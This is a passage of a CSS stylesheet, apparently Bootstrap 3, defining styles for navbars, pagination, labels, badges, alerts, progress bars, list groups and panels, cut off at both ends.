margin-top: 4px;\n}\n@media (min-width: 768px) {\n  .navbar-toggle {\n    display: none;\n  }\n}\n.navbar-nav {\n  margin: 7.5px -15px;\n}\n.navbar-nav > li > a {\n  padding-top: 10px;\n  padding-bottom: 10px;\n  line-height: 20px;\n}\n@media (max-width: 767px) {\n  .navbar-nav .open .dropdown-menu {\n    position: static;\n    float: none;\n    width: auto;\n    margin-top: 0;\n    background-color: transparent;\n    border: 0;\n    -webkit-box-shadow: none;\n            box-shadow: none;\n  }\n  .navbar-nav .open .dropdown-menu > li > a,\n  .navbar-nav .open .dropdown-menu .dropdown-header {\n    padding: 5px 15px 5px 25px;\n  }\n  .navbar-nav .open .dropdown-menu > li > a {\n    line-height: 20px;\n  }\n  .navbar-nav .open .dropdown-menu > li > a:hover,\n  .navbar-nav .open .dropdown-menu > li > a:focus {\n    background-image: none;\n  }\n}\n@media (min-width: 768px) {\n  .navbar-nav {\n    float: left;\n    margin: 0;\n  }\n  .navbar-nav > li {\n    float: left;\n  }\n  .navbar-nav > li > a {\n    padding-top: 15px;\n    padding-bottom: 15px;\n  }\n}\n.navbar-form {\n  padding: 10px 15px;\n  margin-top: 8px;\n  margin-right: -15px;\n  margin-bottom: 8px;\n  margin-left: -15px;\n  border-top: 1px solid transparent;\n  border-bottom: 1px solid transparent;\n  -webkit-box-shadow: inset 0 1px 0 rgba(255, 255, 255, .1), 0 1px 0 rgba(255, 255, 255, .1);\n          box-shadow: inset 0 1px 0 rgba(255, 255, 255, .1), 0 1px 0 rgba(255, 255, 255, .1);\n}\n@media (min-width: 768px) {\n  .navbar-form .form-group {\n    display: inline-block;\n    margin-bottom: 0;\n    vertical-align: middle;\n  }\n  .navbar-form .form-control {\n    display: inline-block;\n    width: auto;\n    vertical-align: middle;\n  }\n  .navbar-form .form-control-static {\n    display: inline-block;\n  }\n  .navbar-form .input-group {\n    display: inline-table;\n    vertical-align: middle;\n  }\n  .navbar-form .input-group .input-group-addon,\n  .navbar-form .input-group .input-group-btn,\n  .navbar-form .input-group .form-control {\n    width: auto;\n  }\n  .navbar-form .input-group > .form-control {\n    width: 100%;\n  }\n  .navbar-form .control-label {\n    margin-bottom: 0;\n    vertical-align: middle;\n  }\n  .navbar-form .radio,\n  .navbar-form .checkbox {\n    display: inline-block;\n    margin-top: 0;\n    margin-bottom: 0;\n    vertical-align: middle;\n  }\n  .navbar-form .radio label,\n  .navbar-form .checkbox label {\n    padding-left: 0;\n  }\n  .navbar-form .radio input[type=\"radio\"],\n  .navbar-form .checkbox input[type=\"checkbox\"] {\n    position: relative;\n    margin-left: 0;\n  }\n  .navbar-form .has-feedback .form-control-feedback {\n    top: 0;\n  }\n}\n@media (max-width: 767px) {\n  .navbar-form .form-group {\n    margin-bottom: 5px;\n  }\n  .navbar-form .form-group:last-child {\n    margin-bottom: 0;\n  }\n}\n@media (min-width: 768px) {\n  .navbar-form {\n    width: auto;\n    padding-top: 0;\n    padding-bottom: 0;\n    margin-right: 0;\n    margin-left: 0;\n    border: 0;\n    -webkit-box-shadow: none;\n            box-shadow: none;\n  }\n}\n.navbar-nav > li > .dropdown-menu {\n  margin-top: 0;\n  border-top-left-radius: 0;\n  border-top-right-radius: 0;\n}\n.navbar-fixed-bottom .navbar-nav > li > .dropdown-menu {\n  margin-bottom: 0;\n  border-top-left-radius: 4px;\n  border-top-right-radius: 4px;\n  border-bottom-right-radius: 0;\n  border-bottom-left-radius: 0;\n}\n.navbar-btn {\n  margin-top: 8px;\n  margin-bottom: 8px;\n}\n.navbar-btn.btn-sm {\n  margin-top: 10px;\n  margin-bottom: 10px;\n}\n.navbar-btn.btn-xs {\n  margin-top: 14px;\n  margin-bottom: 14px;\n}\n.navbar-text {\n  margin-top: 15px;\n  margin-bottom: 15px;\n}\n@media (min-width: 768px) {\n  .navbar-text {\n    float: left;\n    margin-right: 15px;\n    margin-left: 15px;\n  }\n}\n@media (min-width: 768px) {\n  .navbar-left {\n    float: left !important;\n  }\n  .navbar-right {\n    float: right !important;\n    margin-right: -15px;\n  }\n  .navbar-right ~ .navbar-right {\n    margin-right: 0;\n  }\n}\n.navbar-default {\n  background-color: #f8f8f8;\n  border-color: #e7e7e7;\n}\n.navbar-default .navbar-brand {\n  color: #777;\n}\n.navbar-default .navbar-brand:hover,\n.navbar-default .navbar-brand:focus {\n  color: #5e5e5e;\n  background-color: transparent;\n}\n.navbar-default .navbar-text {\n  color: #777;\n}\n.navbar-default .navbar-nav > li > a {\n  color: #777;\n}\n.navbar-default .navbar-nav > li > a:hover,\n.navbar-default .navbar-nav > li > a:focus {\n  color: #333;\n  background-color: transparent;\n}\n.navbar-default .navbar-nav > .active > a,\n.navbar-default .navbar-nav > .active > a:hover,\n.navbar-default .navbar-nav > .active > a:focus {\n  color: #555;\n  background-color: #e7e7e7;\n}\n.navbar-default .navbar-nav > .disabled > a,\n.navbar-default .navbar-nav > .disabled > a:hover,\n.navbar-default .navbar-nav > .disabled > a:focus {\n  color: #ccc;\n  background-color: transparent;\n}\n.navbar-default .navbar-toggle {\n  border-color: #ddd;\n}\n.navbar-default .navbar-toggle:hover,\n.navbar-default .navbar-toggle:focus {\n  background-color: #ddd;\n}\n.navbar-default .navbar-toggle .icon-bar {\n  background-color: #888;\n}\n.navbar-default .navbar-collapse,\n.navbar-default .navbar-form {\n  border-color: #e7e7e7;\n}\n.navbar-default .navbar-nav > .open > a,\n.navbar-default .navbar-nav > .open > a:hover,\n.navbar-default .navbar-nav > .open > a:focus {\n  color: #555;\n  background-color: #e7e7e7;\n}\n@media (max-width: 767px) {\n  .navbar-default .navbar-nav .open .dropdown-menu > li > a {\n    color: #777;\n  }\n  .navbar-default .navbar-nav .open .dropdown-menu > li > a:hover,\n  .navbar-default .navbar-nav .open .dropdown-menu > li > a:focus {\n    color: #333;\n    background-color: transparent;\n  }\n  .navbar-default .navbar-nav .open .dropdown-menu > .active > a,\n  .navbar-default .navbar-nav .open .dropdown-menu > .active > a:hover,\n  .navbar-default .navbar-nav .open .dropdown-menu > .active > a:focus {\n    color: #555;\n    background-color: #e7e7e7;\n  }\n  .navbar-default .navbar-nav .open .dropdown-menu > .disabled > a,\n  .navbar-default .navbar-nav .open .dropdown-menu > .disabled > a:hover,\n  .navbar-default .navbar-nav .open .dropdown-menu > .disabled > a:focus {\n    color: #ccc;\n    background-color: transparent;\n  }\n}\n.navbar-default .navbar-link {\n  color: #777;\n}\n.navbar-default .navbar-link:hover {\n  color: #333;\n}\n.navbar-default .btn-link {\n  color: #777;\n}\n.navbar-default .btn-link:hover,\n.navbar-default .btn-link:focus {\n  color: #333;\n}\n.navbar-default .btn-link[disabled]:hover,\nfieldset[disabled] .navbar-default .btn-link:hover,\n.navbar-default .btn-link[disabled]:focus,\nfieldset[disabled] .navbar-default .btn-link:focus {\n  color: #ccc;\n}\n.navbar-inverse {\n  background-color: #222;\n  border-color: #080808;\n}\n.navbar-inverse .navbar-brand {\n  color: #9d9d9d;\n}\n.navbar-inverse .navbar-brand:hover,\n.navbar-inverse .navbar-brand:focus {\n  color: #fff;\n  background-color: transparent;\n}\n.navbar-inverse .navbar-text {\n  color: #9d9d9d;\n}\n.navbar-inverse .navbar-nav > li > a {\n  color: #9d9d9d;\n}\n.navbar-inverse .navbar-nav > li > a:hover,\n.navbar-inverse .navbar-nav > li > a:focus {\n  color: #fff;\n  background-color: transparent;\n}\n.navbar-inverse .navbar-nav > .active > a,\n.navbar-inverse .navbar-nav > .active > a:hover,\n.navbar-inverse .navbar-nav > .active > a:focus {\n  color: #fff;\n  background-color: #080808;\n}\n.navbar-inverse .navbar-nav > .disabled > a,\n.navbar-inverse .navbar-nav > .disabled > a:hover,\n.navbar-inverse .navbar-nav > .disabled > a:focus {\n  color: #444;\n  background-color: transparent;\n}\n.navbar-inverse .navbar-toggle {\n  border-color: #333;\n}\n.navbar-inverse .navbar-toggle:hover,\n.navbar-inverse .navbar-toggle:focus {\n  background-color: #333;\n}\n.navbar-inverse .navbar-toggle .icon-bar {\n  background-color: #fff;\n}\n.navbar-inverse .navbar-collapse,\n.navbar-inverse .navbar-form {\n  border-color: #101010;\n}\n.navbar-inverse .navbar-nav > .open > a,\n.navbar-inverse .navbar-nav > .open > a:hover,\n.navbar-inverse .navbar-nav > .open > a:focus {\n  color: #fff;\n  background-color: #080808;\n}\n@media (max-width: 767px) {\n  .navbar-inverse .navbar-nav .open .dropdown-menu > .dropdown-header {\n    border-color: #080808;\n  }\n  .navbar-inverse .navbar-nav .open .dropdown-menu .divider {\n    background-color: #080808;\n  }\n  .navbar-inverse .navbar-nav .open .dropdown-menu > li > a {\n    color: #9d9d9d;\n  }\n  .navbar-inverse .navbar-nav .open .dropdown-menu > li > a:hover,\n  .navbar-inverse .navbar-nav .open .dropdown-menu > li > a:focus {\n    color: #fff;\n    background-color: transparent;\n  }\n  .navbar-inverse .navbar-nav .open .dropdown-menu > .active > a,\n  .navbar-inverse .navbar-nav .open .dropdown-menu > .active > a:hover,\n  .navbar-inverse .navbar-nav .open .dropdown-menu > .active > a:focus {\n    color: #fff;\n    background-color: #080808;\n  }\n  .navbar-inverse .navbar-nav .open .dropdown-menu > .disabled > a,\n  .navbar-inverse .navbar-nav .open .dropdown-menu > .disabled > a:hover,\n  .navbar-inverse .navbar-nav .open .dropdown-menu > .disabled > a:focus {\n    color: #444;\n    background-color: transparent;\n  }\n}\n.navbar-inverse .navbar-link {\n  color: #9d9d9d;\n}\n.navbar-inverse .navbar-link:hover {\n  color: #fff;\n}\n.navbar-inverse .btn-link {\n  color: #9d9d9d;\n}\n.navbar-inverse .btn-link:hover,\n.navbar-inverse .btn-link:focus {\n  color: #fff;\n}\n.navbar-inverse .btn-link[disabled]:hover,\nfieldset[disabled] .navbar-inverse .btn-link:hover,\n.navbar-inverse .btn-link[disabled]:focus,\nfieldset[disabled] .navbar-inverse .btn-link:focus {\n  color: #444;\n}\n.breadcrumb {\n  padding: 8px 15px;\n  margin-bottom: 20px;\n  list-style: none;\n  background-color: #f5f5f5;\n  border-radius: 4px;\n}\n.breadcrumb > li {\n  display: inline-block;\n}\n.breadcrumb > li + li:before {\n  padding: 0 5px;\n  color: #ccc;\n  content: \"/\\00a0\";\n}\n.breadcrumb > .active {\n  color: #777;\n}\n.pagination {\n  display: inline-block;\n  padding-left: 0;\n  margin: 20px 0;\n  border-radius: 4px;\n}\n.pagination > li {\n  display: inline;\n}\n.pagination > li > a,\n.pagination > li > span {\n  position: relative;\n  float: left;\n  padding: 6px 12px;\n  margin-left: -1px;\n  line-height: 1.42857143;\n  color: #337ab7;\n  text-decoration: none;\n  background-color: #fff;\n  border: 1px solid #ddd;\n}\n.pagination > li:first-child > a,\n.pagination > li:first-child > span {\n  margin-left: 0;\n  border-top-left-radius: 4px;\n  border-bottom-left-radius: 4px;\n}\n.pagination > li:last-child > a,\n.pagination > li:last-child > span {\n  border-top-right-radius: 4px;\n  border-bottom-right-radius: 4px;\n}\n.pagination > li > a:hover,\n.pagination > li > span:hover,\n.pagination > li > a:focus,\n.pagination > li > span:focus {\n  z-index: 3;\n  color: #23527c;\n  background-color: #eee;\n  border-color: #ddd;\n}\n.pagination > .active > a,\n.pagination > .active > span,\n.pagination > .active > a:hover,\n.pagination > .active > span:hover,\n.pagination > .active > a:focus,\n.pagination > .active > span:focus {\n  z-index: 2;\n  color: #fff;\n  cursor: default;\n  background-color: #337ab7;\n  border-color: #337ab7;\n}\n.pagination > .disabled > span,\n.pagination > .disabled > span:hover,\n.pagination > .disabled > span:focus,\n.pagination > .disabled > a,\n.pagination > .disabled > a:hover,\n.pagination > .disabled > a:focus {\n  color: #777;\n  cursor: not-allowed;\n  background-color: #fff;\n  border-color: #ddd;\n}\n.pagination-lg > li > a,\n.pagination-lg > li > span {\n  padding: 10px 16px;\n  font-size: 18px;\n  line-height: 1.3333333;\n}\n.pagination-lg > li:first-child > a,\n.pagination-lg > li:first-child > span {\n  border-top-left-radius: 6px;\n  border-bottom-left-radius: 6px;\n}\n.pagination-lg > li:last-child > a,\n.pagination-lg > li:last-child > span {\n  border-top-right-radius: 6px;\n  border-bottom-right-radius: 6px;\n}\n.pagination-sm > li > a,\n.pagination-sm > li > span {\n  padding: 5px 10px;\n  font-size: 12px;\n  line-height: 1.5;\n}\n.pagination-sm > li:first-child > a,\n.pagination-sm > li:first-child > span {\n  border-top-left-radius: 3px;\n  border-bottom-left-radius: 3px;\n}\n.pagination-sm > li:last-child > a,\n.pagination-sm > li:last-child > span {\n  border-top-right-radius: 3px;\n  border-bottom-right-radius: 3px;\n}\n.pager {\n  padding-left: 0;\n  margin: 20px 0;\n  text-align: center;\n  list-style: none;\n}\n.pager li {\n  display: inline;\n}\n.pager li > a,\n.pager li > span {\n  display: inline-block;\n  padding: 5px 14px;\n  background-color: #fff;\n  border: 1px solid #ddd;\n  border-radius: 15px;\n}\n.pager li > a:hover,\n.pager li > a:focus {\n  text-decoration: none;\n  background-color: #eee;\n}\n.pager .next > a,\n.pager .next > span {\n  float: right;\n}\n.pager .previous > a,\n.pager .previous > span {\n  float: left;\n}\n.pager .disabled > a,\n.pager .disabled > a:hover,\n.pager .disabled > a:focus,\n.pager .disabled > span {\n  color: #777;\n  cursor: not-allowed;\n  background-color: #fff;\n}\n.label {\n  display: inline;\n  padding: .2em .6em .3em;\n  font-size: 75%;\n  font-weight: bold;\n  line-height: 1;\n  color: #fff;\n  text-align: center;\n  white-space: nowrap;\n  vertical-align: baseline;\n  border-radius: .25em;\n}\na.label:hover,\na.label:focus {\n  color: #fff;\n  text-decoration: none;\n  cursor: pointer;\n}\n.label:empty {\n  display: none;\n}\n.btn .label {\n  position: relative;\n  top: -1px;\n}\n.label-default {\n  background-color: #777;\n}\n.label-default[href]:hover,\n.label-default[href]:focus {\n  background-color: #5e5e5e;\n}\n.label-primary {\n  background-color: #337ab7;\n}\n.label-primary[href]:hover,\n.label-primary[href]:focus {\n  background-color: #286090;\n}\n.label-success {\n  background-color: #5cb85c;\n}\n.label-success[href]:hover,\n.label-success[href]:focus {\n  background-color: #449d44;\n}\n.label-info {\n  background-color: #5bc0de;\n}\n.label-info[href]:hover,\n.label-info[href]:focus {\n  background-color: #31b0d5;\n}\n.label-warning {\n  background-color: #f0ad4e;\n}\n.label-warning[href]:hover,\n.label-warning[href]:focus {\n  background-color: #ec971f;\n}\n.label-danger {\n  background-color: #d9534f;\n}\n.label-danger[href]:hover,\n.label-danger[href]:focus {\n  background-color: #c9302c;\n}\n.badge {\n  display: inline-block;\n  min-width: 10px;\n  padding: 3px 7px;\n  font-size: 12px;\n  font-weight: bold;\n  line-height: 1;\n  color: #fff;\n  text-align: center;\n  white-space: nowrap;\n  vertical-align: middle;\n  background-color: #777;\n  border-radius: 10px;\n}\n.badge:empty {\n  display: none;\n}\n.btn .badge {\n  position: relative;\n  top: -1px;\n}\n.btn-xs .badge,\n.btn-group-xs > .btn .badge {\n  top: 0;\n  padding: 1px 5px;\n}\na.badge:hover,\na.badge:focus {\n  color: #fff;\n  text-decoration: none;\n  cursor: pointer;\n}\n.list-group-item.active > .badge,\n.nav-pills > .active > a > .badge {\n  color: #337ab7;\n  background-color: #fff;\n}\n.list-group-item > .badge {\n  float: right;\n}\n.list-group-item > .badge + .badge {\n  margin-right: 5px;\n}\n.nav-pills > li > a > .badge {\n  margin-left: 3px;\n}\n.jumbotron {\n  padding-top: 30px;\n  padding-bottom: 30px;\n  margin-bottom: 30px;\n  color: inherit;\n  background-color: #eee;\n}\n.jumbotron h1,\n.jumbotron .h1 {\n  color: inherit;\n}\n.jumbotron p {\n  margin-bottom: 15px;\n  font-size: 21px;\n  font-weight: 200;\n}\n.jumbotron > hr {\n  border-top-color: #d5d5d5;\n}\n.container .jumbotron,\n.container-fluid .jumbotron {\n  border-radius: 6px;\n}\n.jumbotron .container {\n  max-width: 100%;\n}\n@media screen and (min-width: 768px) {\n  .jumbotron {\n    padding-top: 48px;\n    padding-bottom: 48px;\n  }\n  .container .jumbotron,\n  .container-fluid .jumbotron {\n    padding-right: 60px;\n    padding-left: 60px;\n  }\n  .jumbotron h1,\n  .jumbotron .h1 {\n    font-size: 63px;\n  }\n}\n.thumbnail {\n  display: block;\n  padding: 4px;\n  margin-bottom: 20px;\n  line-height: 1.42857143;\n  background-color: #fff;\n  border: 1px solid #ddd;\n  border-radius: 4px;\n  -webkit-transition: border .2s ease-in-out;\n       -o-transition: border .2s ease-in-out;\n          transition: border .2s ease-in-out;\n}\n.thumbnail > img,\n.thumbnail a > img {\n  margin-right: auto;\n  margin-left: auto;\n}\na.thumbnail:hover,\na.thumbnail:focus,\na.thumbnail.active {\n  border-color: #337ab7;\n}\n.thumbnail .caption {\n  padding: 9px;\n  color: #333;\n}\n.alert {\n  padding: 15px;\n  margin-bottom: 20px;\n  border: 1px solid transparent;\n  border-radius: 4px;\n}\n.alert h4 {\n  margin-top: 0;\n  color: inherit;\n}\n.alert .alert-link {\n  font-weight: bold;\n}\n.alert > p,\n.alert > ul {\n  margin-bottom: 0;\n}\n.alert > p + p {\n  margin-top: 5px;\n}\n.alert-dismissable,\n.alert-dismissible {\n  padding-right: 35px;\n}\n.alert-dismissable .close,\n.alert-dismissible .close {\n  position: relative;\n  top: -2px;\n  right: -21px;\n  color: inherit;\n}\n.alert-success {\n  color: #3c763d;\n  background-color: #dff0d8;\n  border-color: #d6e9c6;\n}\n.alert-success hr {\n  border-top-color: #c9e2b3;\n}\n.alert-success .alert-link {\n  color: #2b542c;\n}\n.alert-info {\n  color: #31708f;\n  background-color: #d9edf7;\n  border-color: #bce8f1;\n}\n.alert-info hr {\n  border-top-color: #a6e1ec;\n}\n.alert-info .alert-link {\n  color: #245269;\n}\n.alert-warning {\n  color: #8a6d3b;\n  background-color: #fcf8e3;\n  border-color: #faebcc;\n}\n.alert-warning hr {\n  border-top-color: #f7e1b5;\n}\n.alert-warning .alert-link {\n  color: #66512c;\n}\n.alert-danger {\n  color: #a94442;\n  background-color: #f2dede;\n  border-color: #ebccd1;\n}\n.alert-danger hr {\n  border-top-color: #e4b9c0;\n}\n.alert-danger .alert-link {\n  color: #843534;\n}\n@-webkit-keyframes progress-bar-stripes {\n  from {\n    background-position: 40px 0;\n  }\n  to {\n    background-position: 0 0;\n  }\n}\n@-o-keyframes progress-bar-stripes {\n  from {\n    background-position: 40px 0;\n  }\n  to {\n    background-position: 0 0;\n  }\n}\n@keyframes progress-bar-stripes {\n  from {\n    background-position: 40px 0;\n  }\n  to {\n    background-position: 0 0;\n  }\n}\n.progress {\n  height: 20px;\n  margin-bottom: 20px;\n  overflow: hidden;\n  background-color: #f5f5f5;\n  border-radius: 4px;\n  -webkit-box-shadow: inset 0 1px 2px rgba(0, 0, 0, .1);\n          box-shadow: inset 0 1px 2px rgba(0, 0, 0, .1);\n}\n.progress-bar {\n  float: left;\n  width: 0;\n  height: 100%;\n  font-size: 12px;\n  line-height: 20px;\n  color: #fff;\n  text-align: center;\n  background-color: #337ab7;\n  -webkit-box-shadow: inset 0 -1px 0 rgba(0, 0, 0, .15);\n          box-shadow: inset 0 -1px 0 rgba(0, 0, 0, .15);\n  -webkit-transition: width .6s ease;\n       -o-transition: width .6s ease;\n          transition: width .6s ease;\n}\n.progress-striped .progress-bar,\n.progress-bar-striped {\n  background-image: -webkit-linear-gradient(45deg, rgba(255, 255, 255, .15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, .15) 50%, rgba(255, 255, 255, .15) 75%, transparent 75%, transparent);\n  background-image:      -o-linear-gradient(45deg, rgba(255, 255, 255, .15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, .15) 50%, rgba(255, 255, 255, .15) 75%, transparent 75%, transparent);\n  background-image:         linear-gradient(45deg, rgba(255, 255, 255, .15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, .15) 50%, rgba(255, 255, 255, .15) 75%, transparent 75%, transparent);\n  -webkit-background-size: 40px 40px;\n          background-size: 40px 40px;\n}\n.progress.active .progress-bar,\n.progress-bar.active {\n  -webkit-animation: progress-bar-stripes 2s linear infinite;\n       -o-animation: progress-bar-stripes 2s linear infinite;\n          animation: progress-bar-stripes 2s linear infinite;\n}\n.progress-bar-success {\n  background-color: #5cb85c;\n}\n.progress-striped .progress-bar-success {\n  background-image: -webkit-linear-gradient(45deg, rgba(255, 255, 255, .15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, .15) 50%, rgba(255, 255, 255, .15) 75%, transparent 75%, transparent);\n  background-image:      -o-linear-gradient(45deg, rgba(255, 255, 255, .15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, .15) 50%, rgba(255, 255, 255, .15) 75%, transparent 75%, transparent);\n  background-image:         linear-gradient(45deg, rgba(255, 255, 255, .15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, .15) 50%, rgba(255, 255, 255, .15) 75%, transparent 75%, transparent);\n}\n.progress-bar-info {\n  background-color: #5bc0de;\n}\n.progress-striped .progress-bar-info {\n  background-image: -webkit-linear-gradient(45deg, rgba(255, 255, 255, .15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, .15) 50%, rgba(255, 255, 255, .15) 75%, transparent 75%, transparent);\n  background-image:      -o-linear-gradient(45deg, rgba(255, 255, 255, .15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, .15) 50%, rgba(255, 255, 255, .15) 75%, transparent 75%, transparent);\n  background-image:         linear-gradient(45deg, rgba(255, 255, 255, .15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, .15) 50%, rgba(255, 255, 255, .15) 75%, transparent 75%, transparent);\n}\n.progress-bar-warning {\n  background-color: #f0ad4e;\n}\n.progress-striped .progress-bar-warning {\n  background-image: -webkit-linear-gradient(45deg, rgba(255, 255, 255, .15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, .15) 50%, rgba(255, 255, 255, .15) 75%, transparent 75%, transparent);\n  background-image:      -o-linear-gradient(45deg, rgba(255, 255, 255, .15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, .15) 50%, rgba(255, 255, 255, .15) 75%, transparent 75%, transparent);\n  background-image:         linear-gradient(45deg, rgba(255, 255, 255, .15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, .15) 50%, rgba(255, 255, 255, .15) 75%, transparent 75%, transparent);\n}\n.progress-bar-danger {\n  background-color: #d9534f;\n}\n.progress-striped .progress-bar-danger {\n  background-image: -webkit-linear-gradient(45deg, rgba(255, 255, 255, .15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, .15) 50%, rgba(255, 255, 255, .15) 75%, transparent 75%, transparent);\n  background-image:      -o-linear-gradient(45deg, rgba(255, 255, 255, .15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, .15) 50%, rgba(255, 255, 255, .15) 75%, transparent 75%, transparent);\n  background-image:         linear-gradient(45deg, rgba(255, 255, 255, .15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, .15) 50%, rgba(255, 255, 255, .15) 75%, transparent 75%, transparent);\n}\n.media {\n  margin-top: 15px;\n}\n.media:first-child {\n  margin-top: 0;\n}\n.media,\n.media-body {\n  overflow: hidden;\n  zoom: 1;\n}\n.media-body {\n  width: 10000px;\n}\n.media-object {\n  display: block;\n}\n.media-object.img-thumbnail {\n  max-width: none;\n}\n.media-right,\n.media > .pull-right {\n  padding-left: 10px;\n}\n.media-left,\n.media > .pull-left {\n  padding-right: 10px;\n}\n.media-left,\n.media-right,\n.media-body {\n  display: table-cell;\n  vertical-align: top;\n}\n.media-middle {\n  vertical-align: middle;\n}\n.media-bottom {\n  vertical-align: bottom;\n}\n.media-heading {\n  margin-top: 0;\n  margin-bottom: 5px;\n}\n.media-list {\n  padding-left: 0;\n  list-style: none;\n}\n.list-group {\n  padding-left: 0;\n  margin-bottom: 20px;\n}\n.list-group-item {\n  position: relative;\n  display: block;\n  padding: 10px 15px;\n  margin-bottom: -1px;\n  background-color: #fff;\n  border: 1px solid #ddd;\n}\n.list-group-item:first-child {\n  border-top-left-radius: 4px;\n  border-top-right-radius: 4px;\n}\n.list-group-item:last-child {\n  margin-bottom: 0;\n  border-bottom-right-radius: 4px;\n  border-bottom-left-radius: 4px;\n}\na.list-group-item,\nbutton.list-group-item {\n  color: #555;\n}\na.list-group-item .list-group-item-heading,\nbutton.list-group-item .list-group-item-heading {\n  color: #333;\n}\na.list-group-item:hover,\nbutton.list-group-item:hover,\na.list-group-item:focus,\nbutton.list-group-item:focus {\n  color: #555;\n  text-decoration: none;\n  background-color: #f5f5f5;\n}\nbutton.list-group-item {\n  width: 100%;\n  text-align: left;\n}\n.list-group-item.disabled,\n.list-group-item.disabled:hover,\n.list-group-item.disabled:focus {\n  color: #777;\n  cursor: not-allowed;\n  background-color: #eee;\n}\n.list-group-item.disabled .list-group-item-heading,\n.list-group-item.disabled:hover .list-group-item-heading,\n.list-group-item.disabled:focus .list-group-item-heading {\n  color: inherit;\n}\n.list-group-item.disabled .list-group-item-text,\n.list-group-item.disabled:hover .list-group-item-text,\n.list-group-item.disabled:focus .list-group-item-text {\n  color: #777;\n}\n.list-group-item.active,\n.list-group-item.active:hover,\n.list-group-item.active:focus {\n  z-index: 2;\n  color: #fff;\n  background-color: #337ab7;\n  border-color: #337ab7;\n}\n.list-group-item.active .list-group-item-heading,\n.list-group-item.active:hover .list-group-item-heading,\n.list-group-item.active:focus .list-group-item-heading,\n.list-group-item.active .list-group-item-heading > small,\n.list-group-item.active:hover .list-group-item-heading > small,\n.list-group-item.active:focus .list-group-item-heading > small,\n.list-group-item.active .list-group-item-heading > .small,\n.list-group-item.active:hover .list-group-item-heading > .small,\n.list-group-item.active:focus .list-group-item-heading > .small {\n  color: inherit;\n}\n.list-group-item.active .list-group-item-text,\n.list-group-item.active:hover .list-group-item-text,\n.list-group-item.active:focus .list-group-item-text {\n  color: #c7ddef;\n}\n.list-group-item-success {\n  color: #3c763d;\n  background-color: #dff0d8;\n}\na.list-group-item-success,\nbutton.list-group-item-success {\n  color: #3c763d;\n}\na.list-group-item-success .list-group-item-heading,\nbutton.list-group-item-success .list-group-item-heading {\n  color: inherit;\n}\na.list-group-item-success:hover,\nbutton.list-group-item-success:hover,\na.list-group-item-success:focus,\nbutton.list-group-item-success:focus {\n  color: #3c763d;\n  background-color: #d0e9c6;\n}\na.list-group-item-success.active,\nbutton.list-group-item-success.active,\na.list-group-item-success.active:hover,\nbutton.list-group-item-success.active:hover,\na.list-group-item-success.active:focus,\nbutton.list-group-item-success.active:focus {\n  color: #fff;\n  background-color: #3c763d;\n  border-color: #3c763d;\n}\n.list-group-item-info {\n  color: #31708f;\n  background-color: #d9edf7;\n}\na.list-group-item-info,\nbutton.list-group-item-info {\n  color: #31708f;\n}\na.list-group-item-info .list-group-item-heading,\nbutton.list-group-item-info .list-group-item-heading {\n  color: inherit;\n}\na.list-group-item-info:hover,\nbutton.list-group-item-info:hover,\na.list-group-item-info:focus,\nbutton.list-group-item-info:focus {\n  color: #31708f;\n  background-color: #c4e3f3;\n}\na.list-group-item-info.active,\nbutton.list-group-item-info.active,\na.list-group-item-info.active:hover,\nbutton.list-group-item-info.active:hover,\na.list-group-item-info.active:focus,\nbutton.list-group-item-info.active:focus {\n  color: #fff;\n  background-color: #31708f;\n  border-color: #31708f;\n}\n.list-group-item-warning {\n  color: #8a6d3b;\n  background-color: #fcf8e3;\n}\na.list-group-item-warning,\nbutton.list-group-item-warning {\n  color: #8a6d3b;\n}\na.list-group-item-warning .list-group-item-heading,\nbutton.list-group-item-warning .list-group-item-heading {\n  color: inherit;\n}\na.list-group-item-warning:hover,\nbutton.list-group-item-warning:hover,\na.list-group-item-warning:focus,\nbutton.list-group-item-warning:focus {\n  color: #8a6d3b;\n  background-color: #faf2cc;\n}\na.list-group-item-warning.active,\nbutton.list-group-item-warning.active,\na.list-group-item-warning.active:hover,\nbutton.list-group-item-warning.active:hover,\na.list-group-item-warning.active:focus,\nbutton.list-group-item-warning.active:focus {\n  color: #fff;\n  background-color: #8a6d3b;\n  border-color: #8a6d3b;\n}\n.list-group-item-danger {\n  color: #a94442;\n  background-color: #f2dede;\n}\na.list-group-item-danger,\nbutton.list-group-item-danger {\n  color: #a94442;\n}\na.list-group-item-danger .list-group-item-heading,\nbutton.list-group-item-danger .list-group-item-heading {\n  color: inherit;\n}\na.list-group-item-danger:hover,\nbutton.list-group-item-danger:hover,\na.list-group-item-danger:focus,\nbutton.list-group-item-danger:focus {\n  color: #a94442;\n  background-color: #ebcccc;\n}\na.list-group-item-danger.active,\nbutton.list-group-item-danger.active,\na.list-group-item-danger.active:hover,\nbutton.list-group-item-danger.active:hover,\na.list-group-item-danger.active:focus,\nbutton.list-group-item-danger.active:focus {\n  color: #fff;\n  background-color: #a94442;\n  border-color: #a94442;\n}\n.list-group-item-heading {\n  margin-top: 0;\n  margin-bottom: 5px;\n}\n.list-group-item-text {\n  margin-bottom: 0;\n  line-height: 1.3;\n}\n.panel {\n  margin-bottom: 20px;\n  background-color: #fff;\n  border: 1px solid transparent;\n  border-radius: 4px;\n  -webkit-box-shadow: 0 1px 1px rgba(0, 0, 0, .05);\n          box-shadow: 0 1px 1px rgba(0, 0, 0, .05);\n}\n.panel-body {\n  padding: 15px;\n}\n.panel-heading {\n  padding: 10px 15px;\n  border-bottom: 1px solid transparent;\n  border-top-left-radius: 3px;\n  border-top-right-radius: 3px;\n}\n.panel-heading > .dropdown .dropdown-toggle {\n  color: inherit;\n}\n.panel-title {\n  margin-top: 0;\n  margin-bottom: 0;\n  font-size: 16px;\n  color: inherit;\n}\n.panel-title > a,\n.panel-title > small,\n.panel-title > .small,\n.panel-title > small > a,\n.panel-title > .small > a {\n  color: inherit;\n}\n.panel-footer {\n  padding: 10px 